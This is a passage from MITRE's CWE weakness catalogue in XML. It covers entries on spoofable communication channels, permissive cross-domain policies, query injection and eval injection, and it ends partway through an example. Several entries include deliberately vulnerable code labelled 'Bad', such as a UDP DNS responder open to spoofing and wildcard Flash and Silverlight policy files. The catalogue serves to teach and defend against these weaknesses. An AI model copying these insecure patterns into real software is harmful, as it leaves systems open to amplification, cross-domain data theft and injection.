               <Reference>CVE-2001-1452</Reference>
               <Description>DNS server caches glue records received from non-delegated name servers</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1452</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="500"/>
            <Related_Attack_Pattern CAPEC_ID="594"/>
            <Related_Attack_Pattern CAPEC_ID="595"/>
            <Related_Attack_Pattern CAPEC_ID="596"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-324"/>
         </References>
         <Notes>
            <Note Type="Relationship">While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-02-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="941" Name="Incorrectly Specified Destination in a Communication Channel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.</Description>
         <Extended_Description>
            <xhtml:p>Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.</xhtml:p>
            <xhtml:p>There are at least two distinct weaknesses that can cause the product to communicate with an unintended destination:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>If the product allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.</xhtml:li>
                  <xhtml:li>If the product incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the product might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *any* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="406" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-113">
               <Intro_Text>This code listens on a port for DNS requests and sends the result to the requesting address.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<xhtml:br/>sock.bind( (UDP_IP,UDP_PORT) )<xhtml:br/>while true:<xhtml:div style="margin-left:1em;">
                        <xhtml:div>data = sock.recvfrom(1024)<xhtml:br/>if not data:<xhtml:div style="margin-left:1em;">break</xhtml:div>
                           <xhtml:br/>(requestIP, nameToResolve) = parseUDPpacket(data)<xhtml:br/>record = resolveName(nameToResolve)<xhtml:br/>sendResponse(requestIP,record)</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2013-5211</Reference>
               <Description>composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-5211</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0513</Reference>
               <Description>Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0513</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1379</Reference>
               <Description>DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1379</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-941"/>
            <Reference External_Reference_ID="REF-942"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-02-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="942" Name="Permissive Cross-domain Policy with Untrusted Domains" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses a cross-domain policy file that includes domains that should not be trusted.</Description>
         <Extended_Description>
            <xhtml:p>A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a list of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.</xhtml:p>
            <xhtml:p>Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.</xhtml:p>
            <xhtml:p>An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.</xhtml:p>
            <xhtml:p>In many cases, the attack can be launched without the victim even being aware of it.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="183" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="668" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Varies by Context</Impact>
               <Note>An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:</Intro_Text>
               <Body_Text>Flash crossdomain.xml :</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<xhtml:br/>xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd"&gt;<xhtml:br/>&lt;allow-access-from domain="*.example.com"/&gt;<xhtml:br/>&lt;allow-access-from domain="*"/&gt;<xhtml:br/>&lt;/cross-domain-policy&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Silverlight clientaccesspolicy.xml :</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;?xml version="1.0" encoding="utf-8"?&gt;<xhtml:br/>&lt;access-policy&gt;<xhtml:br/>&lt;cross-domain-access&gt;<xhtml:br/>&lt;policy&gt;<xhtml:br/>&lt;allow-from http-request-headers="SOAPAction"&gt;<xhtml:br/>&lt;domain uri="*"/&gt;<xhtml:br/>&lt;/allow-from&gt;<xhtml:br/>&lt;grant-to&gt;<xhtml:br/>&lt;resource path="/" include-subpaths="true"/&gt;<xhtml:br/>&lt;/grant-to&gt;<xhtml:br/>&lt;/policy&gt;<xhtml:br/>&lt;/cross-domain-access&gt;<xhtml:br/>&lt;/access-policy&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2012-2292</Reference>
               <Description>Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-2292</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-2049</Reference>
               <Description>The default Flash Cross Domain policies in a product allows remote attackers to access user files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-2049</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6243</Reference>
               <Description>Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6243</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4822</Reference>
               <Description>Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4822</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3636</Reference>
               <Description>Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3636</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-943"/>
            <Reference External_Reference_ID="REF-944"/>
            <Reference External_Reference_ID="REF-945"/>
            <Reference External_Reference_ID="REF-946"/>
            <Reference External_Reference_ID="REF-947"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-06-05</Submission_Date>
               <Submission_Comment>Created by MITRE with input from members of the CWE-Research mailing list.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-26">Overly Permissive Cross-domain Whitelist</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="943" Name="Improper Neutralization of Special Elements in Data Query Logic" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.</Description>
         <Extended_Description>
            <xhtml:p>Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated</xhtml:li>
                  <xhtml:li>Append additional commands to the query</xhtml:li>
                  <xhtml:li>Return more entities than intended</xhtml:li>
                  <xhtml:li>Return fewer entities than intended</xhtml:li>
                  <xhtml:li>Cause entities to be sorted in an unexpected way</xhtml:li>
               </xhtml:ul>
            <xhtml:p>The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.</xhtml:p>
            <xhtml:p>While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-2503</Reference>
               <Description>Injection using Documentum Query Language (DQL)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-2503</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-2508</Reference>
               <Description>Injection using Documentum Query Language (DQL)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-2508</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="676"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-06-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="95" Name="Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").</Description>
         <Extended_Description>This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="94" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="JavaScript" Prevalence="Undetermined"/>
            <Language Name="Python" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Ruby" Prevalence="Undetermined"/>
            <Language Class="Interpreted" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Note>The injected code could access restricted data / files.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Injected code can access resources that the attacker is directly prevented from accessing.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>Often the actions performed by injected control code are unlogged.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>If possible, refactor your code so that it does not need to use eval() at all.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.</xhtml:p>
                  <xhtml:p>Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-31">
               <Intro_Text>edit-config.pl: This CGI script is used to modify settings in a configuration file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>use CGI qw(:standard);<xhtml:br/>
                     <xhtml:br/>sub config_file_add_key {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $key, $arg) = @_;<xhtml:br/>
                           <xhtml:i># code to add a field/key to a file goes here</xhtml:i><xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub config_file_set_key {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $key, $arg) = @_;<xhtml:br/>
                           <xhtml:i># code to set key to a particular file goes here</xhtml:i><xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub config_file_delete_key {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $key, $arg) = @_;<xhtml:br/>
